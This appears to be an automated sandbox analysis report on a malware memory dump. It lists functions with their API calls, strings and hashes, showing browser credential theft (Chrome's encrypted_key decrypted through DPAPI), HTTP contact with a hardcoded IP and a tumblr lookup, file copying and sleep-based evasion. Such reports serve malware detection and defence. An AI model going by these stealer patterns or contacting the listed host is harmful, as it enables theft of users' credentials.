Instruction Fuzzy Hash: 22113071500205FFDB10AFA5DC88AAE7BB8FB04711F200D39F512B2290D735AE54CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00461D79, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00461D80
Sleep.KERNEL32(00000064,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,00000024,00000038,0040B38F,?,00000019), ref: 00461DC8
__time64.LIBCMT ref: 00461DD0

Part of subcall function 0046889C: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,00461DD5,00000000), ref: 004688A7
Part of subcall function 0046889C: __aulldiv.LIBCMT ref: 004688C7

Part of subcall function 0046002B: _malloc.LIBCMT ref: 00460033
Part of subcall function 0046002B: GetTickCount.KERNEL32 ref: 0046003E
Part of subcall function 0046002B: _rand.LIBCMT ref: 00460053
Part of subcall function 0046002B: _sprintf.LIBCMT ref: 00460066

Part of subcall function 0046B2D8: __getptd.LIBCMT ref: 0046B2DD

_rand.LIBCMT ref: 00461DFD

Part of subcall function 0046B2EA: __getptd.LIBCMT ref: 0046B2EA

Part of subcall function 00460380: std::_Xinvalid_argument.LIBCPMT ref: 0046038E

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789, xrefs: 00461D9B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Time__getptd_rand$CountFileH_prolog3_catch_SleepSystemTickXinvalid_argument__aulldiv__time64_malloc_sprintfstd::_
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
API String ID: 503986416-374730529
Opcode ID: ec577f3ad1545ca5e3d2dacffa2ec0d59528fdd9c29a621d179bb820e062212f
Instruction ID: 88f4b045568469931c6319c2667ea5b9293ab10806897224fd332c4c367be4ef
Opcode Fuzzy Hash: ec577f3ad1545ca5e3d2dacffa2ec0d59528fdd9c29a621d179bb820e062212f
Instruction Fuzzy Hash: 0121D271900304ABDB14EFA6D846BADBBB4BF50705F10045FF2016B1C2DBB85605CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0045F8AA, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0045F8B4
GetSystemTime.KERNEL32(?,000000F4,0040BFA4,00000001,00000001,?,00000001,?,00000001,?,00000001,?,00000001,?,00000001), ref: 0045F8D5
GetTimeZoneInformation.KERNEL32(00000001,?,00000001,?,00000001,?,00000001,?,00000001,?,00000001,?,00000001,?,00000001), ref: 0045F8E2
TzSpecificLocalTimeToSystemTime.KERNEL32(00000001,?,?,?,00000001,?,00000001,?,00000001,?,00000001,?,00000001,?,00000001), ref: 0045F905

Part of subcall function 004622C5: __EH_prolog3.LIBCMT ref: 004622CF

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Strings

UTC, xrefs: 0045F93D

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Time$System$H_prolog3H_prolog3_InformationLocalSpecificZone_memmove
String ID: UTC
API String ID: 473020483-2754919731
Opcode ID: 6b7e28b0250761da46142a86de250f18920cee604e328b6b8a4b1076da63f701
Instruction ID: 9d29b071ca3e0d0fda31ed6a18f578b55765b9cd6ea7bdb432508796c030d5f2
Opcode Fuzzy Hash: 6b7e28b0250761da46142a86de250f18920cee604e328b6b8a4b1076da63f701
Instruction Fuzzy Hash: 5B119D7184011EBFDB51EBE4DC09BEEB778BF08705F0044BAE204F2050EB749A548B19

Uniqueness

Uniqueness Score: -1.00%

Function 00464353, Relevance: 7.6, APIs: 5, Instructions: 107fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 004643A7
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004643E1

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: d9a86151411ddb3e0fa1df4da690f01b861f4dc52d65d6d7e1e68af288fb2a27
Instruction ID: 8462f6e7d2977f95d40d6420188b9f6b58f601cbe8092f24080167b48dedebbf
Opcode Fuzzy Hash: d9a86151411ddb3e0fa1df4da690f01b861f4dc52d65d6d7e1e68af288fb2a27
Instruction Fuzzy Hash: 2D31CEB0500705EFDF309F258885B277AE8FB54358F108B3FE29682640E778EC858B1A

Uniqueness

Uniqueness Score: -1.00%

Function 0041159A, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004115A1

Part of subcall function 0040EAD7: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040EAEF
Part of subcall function 0040EAD7: GetFileSizeEx.KERNEL32(00000000,?), ref: 0040EB06
Part of subcall function 0040EAD7: LocalAlloc.KERNEL32(00000040,?), ref: 0040EB22
Part of subcall function 0040EAD7: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040EB3C
Part of subcall function 0040EAD7: FindCloseChangeNotification.KERNEL32(?), ref: 0040EB5D

Part of subcall function 0045FFED: LocalAlloc.KERNEL32(00000040,?,?,?,004115DE,?,?), ref: 00460005

Part of subcall function 00402EA9: std::_Xinvalid_argument.LIBCPMT ref: 00402EBC
Part of subcall function 00402EA9: _memmove.LIBCMT ref: 00402EF7

Strings

"os_crypt":{"encrypted_key":", xrefs: 004115E8
, xrefs: 0041168E
DPAPI, xrefs: 00411665

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AllocLocal$ChangeCloseCreateFindH_prolog3_NotificationReadSizeXinvalid_argument_memmovestd::_
String ID: $"os_crypt":{"encrypted_key":"$DPAPI
API String ID: 3192152120-2919755482
Opcode ID: 8a0013914b4d289f59e4fc7b5988c9e7c60a16f85a90e56ee2bfdfc03a19705d
Instruction ID: 2fee513b1028514a7298ca10d2558cbba36ebad82446db23027957686835b13d
Opcode Fuzzy Hash: 8a0013914b4d289f59e4fc7b5988c9e7c60a16f85a90e56ee2bfdfc03a19705d
Instruction Fuzzy Hash: F8316FB2D10208ABDF18EFA5DC81EEE7774AF14314F14452FF511722D1EB3999458B18

Uniqueness

Uniqueness Score: -1.00%

Function 0040B1B2, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0040B1B9

Part of subcall function 0040B048: __EH_prolog3_GS.LIBCMT ref: 0040B052
Part of subcall function 0040B048: DeleteUrlCacheEntry.WININET(?), ref: 0040B082
Part of subcall function 0040B048: DeleteUrlCacheEntry.WININET(00000000), ref: 0040B0A4
Part of subcall function 0040B048: InternetOpenA.WININET(004866C4,00000000,00000000,00000000,00000000), ref: 0040B0BD
Part of subcall function 0040B048: InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,04800000,00000000), ref: 0040B0F4
Part of subcall function 0040B048: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,04800000,00000000), ref: 0040B118
Part of subcall function 0040B048: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040B129
Part of subcall function 0040B048: InternetReadFile.WININET(00000000,?,000007FF,?), ref: 0040B147
Part of subcall function 0040B048: InternetCloseHandle.WININET(00000000), ref: 0040B15B
Part of subcall function 0040B048: InternetCloseHandle.WININET(00000000), ref: 0040B162
Part of subcall function 0040B048: InternetCloseHandle.WININET(?), ref: 0040B16E

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Part of subcall function 00402EA9: std::_Xinvalid_argument.LIBCPMT ref: 00402EBC
Part of subcall function 00402EA9: _memmove.LIBCMT ref: 00402EF7

_strtok.LIBCMT ref: 0040B285

Strings

188.34.200.103, xrefs: 0040B28F
.tumblr.com, xrefs: 0040B20A

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Internet$CloseHandle_memmove$CacheDeleteEntryH_prolog3_HttpOpenRequest$ConnectFileReadSendXinvalid_argument_strtokstd::_
String ID: .tumblr.com$188.34.200.103
API String ID: 1242742592-447660756
Opcode ID: 1cad7a4a33bf8d552a361b4da5d35ea019b12470e6d62a8435979938b5558eb4
Instruction ID: 2308c358fd5106b75575a59d7252b71c1f3012af43e2e273293884e8a273a31d
Opcode Fuzzy Hash: 1cad7a4a33bf8d552a361b4da5d35ea019b12470e6d62a8435979938b5558eb4
Instruction Fuzzy Hash: DD319571C00308AEDB04EBA9C956ADDBB78DF15308F10816FF515B71C2DB781A48D7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040D995, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040D9A3
_strcpy_s.LIBCMT ref: 0040D9B9
_memset.LIBCMT ref: 0040D9D4

Strings

1BEF0A57BE110FD467A, xrefs: 0040D9AB

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memset$_strcpy_s
String ID: 1BEF0A57BE110FD467A
API String ID: 1261871945-2910601657
Opcode ID: 86b6b00ca2f02f14dd942adcd233f2d8246cd2dd4ced8368904fe24d86dc92ab
Instruction ID: 2b9f701e0afc28fe8336a1a9b351877273890074c42d5f63b02f405e389192a9
Opcode Fuzzy Hash: 86b6b00ca2f02f14dd942adcd233f2d8246cd2dd4ced8368904fe24d86dc92ab
Instruction Fuzzy Hash: B9F031B0640704AFC720DF65C842B8B7BE8EB08714F40481EF949D7741E779F8008BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEAC, Relevance: 6.4, APIs: 4, Instructions: 356fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040CECB
__wgetenv.LIBCMT ref: 0040CF08

Part of subcall function 00404DBE: __EH_prolog3.LIBCMT ref: 00404DC5

Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000011,00000000,00000000,000003E8,?,00000000,?,?,?,0040DF45,?,?,?), ref: 00462276
Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,0040DF45,?,?,?,?), ref: 004622A5

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,?,00000000,00000000,00000001,00000000,00000001,00000000,00000000), ref: 0040D129
CopyFileW.KERNEL32(00000000,?,00000001,?,00000000), ref: 0040D242

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharH_prolog3MultiWide$CopyCreateDirectoryFile__wgetenv
String ID:
API String ID: 77913386-0
Opcode ID: 465783db5a9b6af8966f5c7dd8c1eac739dd4cbdf0b5605c9eec6f29d052fbd6
Instruction ID: 49ef1e2f296ce2aa033c89ac9020bd4aa66a5a4b8edb9ea687151e1575ef9358
Opcode Fuzzy Hash: 465783db5a9b6af8966f5c7dd8c1eac739dd4cbdf0b5605c9eec6f29d052fbd6
Instruction Fuzzy Hash: 2DE13DB280118CEEDB25EFA4CD85EEF777CEF55308F00416AB806A6191DA745B08DBB5

Uniqueness

Uniqueness Score: -1.00%

Function 004645A9, Relevance: 6.1, APIs: 4, Instructions: 100timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 004645F9
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00464629
GetLocalTime.KERNEL32(?), ref: 00464656
SystemTimeToFileTime.KERNEL32(?,?), ref: 00464664

Part of subcall function 004640D3: GetFileInformationByHandle.KERNEL32(?,?), ref: 00464108

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: 4142433297cfab27ec47e6641b3520804b18cf2ccb64514be06f0e0fc7beef31
Instruction ID: 58b8f38c4f0396bc80ffe4dbaa39c772d34bd71decc5bd4ad1d4a68e66185b91
Opcode Fuzzy Hash: 4142433297cfab27ec47e6641b3520804b18cf2ccb64514be06f0e0fc7beef31
Instruction Fuzzy Hash: AB316571900B089FDB21DF69C8809AFFBF8FB49314B10492FE596D2650E738E945CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00402D73, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00402D9E
__CxxThrowException@8.LIBCMT ref: 00402DB3

Part of subcall function 00467CC1: _malloc.LIBCMT ref: 00467CDB

Strings

8-@, xrefs: 00402DAC

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: 8-@
API String ID: 4063778783-2211411525
Opcode ID: 88499271eaf6eafbec96fc3dee59f3f3ca6553b617b3fe397c79274c383d31e8
Instruction ID: 6b18eedb18f0d39473bab3ca1d5a1c3753bda7fac593a15935a7b8e90762b7d9
Opcode Fuzzy Hash: 88499271eaf6eafbec96fc3dee59f3f3ca6553b617b3fe397c79274c383d31e8
Instruction Fuzzy Hash: 1BE03071800209AACF11AF65D9456CD3BA89F00399F10813BA414A51C1E778C6448B89

Uniqueness

Uniqueness Score: -1.00%

Function 0040C97F, Relevance: 5.0, APIs: 4, Instructions: 23sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000022B), ref: 0040C98B
Sleep.KERNEL32(0000006F), ref: 0040C993
Sleep.KERNEL32(0000014D), ref: 0040C99E
Sleep.KERNEL32(000001E4), ref: 0040C9D5

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d7bd20dd804efef325c77db77fb5234fc51949bdaf30a88bc31a2b75510a06d9
Instruction ID: 975e9d9a2a70b5a61a27eafe518d1b07773ddc549889eb8bc10049565a648471
Opcode Fuzzy Hash: d7bd20dd804efef325c77db77fb5234fc51949bdaf30a88bc31a2b75510a06d9
Instruction Fuzzy Hash: 20E01270540280ABE2116BA2DC4FF5F3A68EB41F46F0804BDB601655E2CB785944C7B9

Uniqueness

Uniqueness Score: -1.00%

Function 00464486, Relevance: 4.6, APIs: 3, Instructions: 86fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004644CE
_memmove.LIBCMT ref: 0046451B
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0046453A

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove$FileWrite
String ID:
API String ID: 726942401-0
Opcode ID: cbc1a8140ae9fdf3fe0c47af6cb92580f36a29de2507ce3bcf3d3a11e615e034
Instruction ID: 7e5dc5d702286ff7eeeb34c5da44b000f0a5838b87907b751394f6e59b14d481
Opcode Fuzzy Hash: cbc1a8140ae9fdf3fe0c47af6cb92580f36a29de2507ce3bcf3d3a11e615e034
Instruction Fuzzy Hash: 2A218DB1504710AFCB20DF65D985A57BBF8FF84704B14892FE58687A01FA78F904CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004616AB, Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 004616D6
GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 004616F0
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00000104), ref: 004616F6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: fec090b2c73558134462985a25251da8dd622ccc2d6353d43ecaa109f91e5f3d
Instruction ID: e614bf7158e19449fc286036f1a85feeeb3993df36046ab7a2c1016a9562973b
Opcode Fuzzy Hash: fec090b2c73558134462985a25251da8dd622ccc2d6353d43ecaa109f91e5f3d
Instruction Fuzzy Hash: 0201A27160020CAFD710EF68DC84DAEBBBCEB45748F00447EF185D7240DAB49E888BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00465B15, Relevance: 4.5, APIs: 3, Instructions: 42fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(?,00000001,?,?,00000000,004662B8,?,C:\Users\,0040AFDE,?,00000001,00000000,?,?), ref: 00465B3C
CloseHandle.KERNEL32(?,00000001,?,?,00000000,004662B8,?,C:\Users\,0040AFDE,?,00000001,00000000,?,?), ref: 00465B53
CloseHandle.KERNEL32(?,00000001,?,?,00000000,004662B8,?,C:\Users\,0040AFDE,?,00000001,00000000,?,?), ref: 00465B65

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseHandle$FileUnmapView
String ID:
API String ID: 260491571-0
Opcode ID: 0f30a43ee4375dea68cdcf623b185f968058d9e68017a0d952f2ef9038cc8b33
Instruction ID: 4151a1582b03b734edca451e12cb30280c128eae9445182ac3d9c397e7a88907
Opcode Fuzzy Hash: 0f30a43ee4375dea68cdcf623b185f968058d9e68017a0d952f2ef9038cc8b33
Instruction Fuzzy Hash: 9CF06D71A05B444FC7309FA99C80827FBD8AB06611B08897FD18AC3700E675F8448F19

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB5B, Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0040DB82
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0040DB9E
CloseHandle.KERNEL32(00000000), ref: 0040DBA5

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: db052aed866fc49fa48d311194b5377ffa9f929f84bfeaede6320286ba0869f0
Instruction ID: 50ffc64a0e1edf6209753fab437857da183437fdc713fb4b4f9585b25886c2e8
Opcode Fuzzy Hash: db052aed866fc49fa48d311194b5377ffa9f929f84bfeaede6320286ba0869f0
Instruction Fuzzy Hash: AAF0BB72500304BBD7305F65DC48F67BABCEF86B71F104A3AF606A5194D271B945C768

Uniqueness

Uniqueness Score: -1.00%

Function 0040D34F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 449COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040D356

Part of subcall function 0040326C: std::_Xinvalid_argument.LIBCPMT ref: 00403286

Part of subcall function 0040CEAC: __EH_prolog3.LIBCMT ref: 0040CECB
Part of subcall function 0040CEAC: __wgetenv.LIBCMT ref: 0040CF08

Part of subcall function 0040CEAC: CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,?,00000000,00000000,00000001,00000000,00000001,00000000,00000000), ref: 0040D129

Part of subcall function 0040CEAC: CopyFileW.KERNEL32(00000000,?,00000001,?,00000000), ref: 0040D242

Part of subcall function 0040CD8C: CreateDirectoryA.KERNEL32(?,00000000), ref: 0040CDBE

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Strings

(, xrefs: 0040D961

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectoryH_prolog3$CopyFileXinvalid_argument__wgetenv_memmovestd::_
String ID: (
API String ID: 948702957-3887548279
Opcode ID: 3562ddf1546ab578de69f5524938aa2e8102ef14bbea5f86fd8d16765dc88462
Instruction ID: bc4c177d4bdcb12a5e6d9aa6f6a669bd2d2ed84e9a651239416cd8c821f003b5
Opcode Fuzzy Hash: 3562ddf1546ab578de69f5524938aa2e8102ef14bbea5f86fd8d16765dc88462
Instruction Fuzzy Hash: 61023270D05284EACF01BBBEC91716C7E75AB66304F5441BEE40127692DEBE0B1897EB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C9F6, Relevance: 3.8, APIs: 3, Instructions: 23sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000214), ref: 0040CA07
Sleep.KERNEL32(00000285), ref: 0040CA19
Sleep.KERNEL32(000001DC), ref: 0040CA2B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f6534a6415d60cb5095f9fad5d11c38104f23c49d5310d161ebf52d413f4bf0d
Instruction ID: 157268666819dda10042423afb61292614c62912a09f0c4728d0bdf19d17359a
Opcode Fuzzy Hash: f6534a6415d60cb5095f9fad5d11c38104f23c49d5310d161ebf52d413f4bf0d
Instruction Fuzzy Hash: 63E01A32B51248EFDB40DFA8E94D69C77B0EB01B02F1048B6E502F21C0D7708B05AB25

Uniqueness

Uniqueness Score: -1.00%

Function 00413D67, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00413D6E

Strings

b>A, xrefs: 00413DB1

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3
String ID: b>A
API String ID: 431132790-4094471207
Opcode ID: 2e8421fc1208da64ebdafc45894692b072e69ed983a8ef4cb98176b2f1920910
Instruction ID: 7dbbd9e80553c64a4419b40bb94cdaf3da263b313658046fe3c933bba2ff40d0
Opcode Fuzzy Hash: 2e8421fc1208da64ebdafc45894692b072e69ed983a8ef4cb98176b2f1920910
Instruction Fuzzy Hash: A5112E706002049FDB10EF59C985AAEBBE5BF44344F54485EF4469B251CBB4EA818B99

Uniqueness

Uniqueness Score: -1.00%

Function 004031A3, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004031B2

Part of subcall function 00466492: std::exception::exception.LIBCMT ref: 004664A7
Part of subcall function 00466492: __CxxThrowException@8.LIBCMT ref: 004664BC
Part of subcall function 00466492: std::exception::exception.LIBCMT ref: 004664CD

Strings

string too long, xrefs: 004031AD

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: string too long
API String ID: 1823113695-2556327735
Opcode ID: 02270d166f5240c28fe36f483dd090b4a64d1d260bcbc40c0c7c8055001f94eb
Instruction ID: 0925546d52ee7bd6ab8e8f6c03025d11312490e2419636c23e1c0a328e780988
Opcode Fuzzy Hash: 02270d166f5240c28fe36f483dd090b4a64d1d260bcbc40c0c7c8055001f94eb
Instruction Fuzzy Hash: D6F0C8306042205EDB14BE284C4146A3E496B5A319B214D7BF4A1FF1C2D77ACE82579E

Uniqueness

Uniqueness Score: -1.00%

Function 0045ED55, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0045ED79

Strings

Unknown, xrefs: 0045ED97

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 3c33b70ed4376f9ee22122efa2d4491e8644306d64efc8e7d7020f8625e54449
Instruction ID: 648822408bb7de51779cb388c41a3eea227319543535b6700f643c5e9ac70690
Opcode Fuzzy Hash: 3c33b70ed4376f9ee22122efa2d4491e8644306d64efc8e7d7020f8625e54449
Instruction Fuzzy Hash: 52F0967060030E9FCB10DF659C4059ABBF8EB08348F00447F9541D7241DA74AE088BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00431C24, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00431C28

Part of subcall function 0046949E: __FF_MSGBANNER.LIBCMT ref: 004694B7
Part of subcall function 0046949E: __NMSG_WRITE.LIBCMT ref: 004694BE
Part of subcall function 0046949E: RtlAllocateHeap.NTDLL(00000000,00000001,?,00000001,?,?,00467640,00000001,00000000,?,?,?,0046769E,00402DA3), ref: 004694E3

Strings

failed to allocate %u bytes of memory, xrefs: 00431C38

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID: failed to allocate %u bytes of memory
API String ID: 501242067-1168259600
Opcode ID: fdc1be5b37461f03dfe191a79123e67ded48d7b195605e7d8e88e4cd1f67a6d9
Instruction ID: 7d5f281072aa9fc6d1d229093362901ed782b1dda358f127ee1ed544bc62dd18
Opcode Fuzzy Hash: fdc1be5b37461f03dfe191a79123e67ded48d7b195605e7d8e88e4cd1f67a6d9
Instruction Fuzzy Hash: 61C01233A4C23167D6222255FC0265E77509B457A0F11482AFA4855265DA695C61038B

Uniqueness

Uniqueness Score: -1.00%

Function 00402FD3, Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00402FDA
_memmove.LIBCMT ref: 00403070

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_catch_memmove
String ID:
API String ID: 3914490576-0
Opcode ID: 2d5d30e7ef494da25c39c746c3ef41aa9aecc2780fb985d5ddf5fa19a1bdcf78
Instruction ID: b19b9339b81822e5c9ae6ec3b76913d4bc88423bd0df98bfcf191241bf8c859b
Opcode Fuzzy Hash: 2d5d30e7ef494da25c39c746c3ef41aa9aecc2780fb985d5ddf5fa19a1bdcf78
Instruction Fuzzy Hash: 5F11E431B052019BEB24DF29C94176E7BA6AF84710F20462FE405AB2C5CBB5AE41C799

Uniqueness

Uniqueness Score: -1.00%

Function 0046483D, Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0046486F
ReadFile.KERNEL32(?,?,?,?,00000000), ref: 004648A7

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead_memmove
String ID:
API String ID: 1325644223-0
Opcode ID: 3cce50dceae1aa74fd6439ca546d8fb43395ef55550b9a1fd0500472fcd58ec6
Instruction ID: 96e658e1209574dea9db3a3f8e20a8502ea41c8967b46568b2f4301c623645e3
Opcode Fuzzy Hash: 3cce50dceae1aa74fd6439ca546d8fb43395ef55550b9a1fd0500472fcd58ec6
Instruction Fuzzy Hash: 01118276600644ABDB21AF65CC04A9B7BE6FF84750F00881EF95987510E631E914CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00465096, Relevance: 3.0, APIs: 2, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,00465D54,?,?), ref: 004650D8

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7b876b5a667ac166cc00e06eaf0bb7693e9fd7b8935ec00bbe4c19e3b8d9390b
Instruction ID: 332fa60c5fe0b08c83aea98836a3c228c6d6e1f0753598811112c48aa6a67316
Opcode Fuzzy Hash: 7b876b5a667ac166cc00e06eaf0bb7693e9fd7b8935ec00bbe4c19e3b8d9390b
Instruction Fuzzy Hash: 0D01B171604B04AFD3215F398C84BA7BAD8F746314F10493FF2A692251E67558409B16

Uniqueness

Uniqueness Score: -1.00%

Function 004682E8, Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 0046DC1D: __getptd_noexit.LIBCMT ref: 0046DC1D

__lock_file.LIBCMT ref: 0046832F

Part of subcall function 0046A353: __lock.LIBCMT ref: 0046A378

__fclose_nolock.LIBCMT ref: 0046833A

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 088cebdf76918fb0ba66e49a77d64d8043e6a61487218aea8f75b3c6246e9ba1
Instruction ID: fe42d62ebaf6ee97b01b499402ee8af75dfb697eaac23938935278cff4daf6a9
Opcode Fuzzy Hash: 088cebdf76918fb0ba66e49a77d64d8043e6a61487218aea8f75b3c6246e9ba1
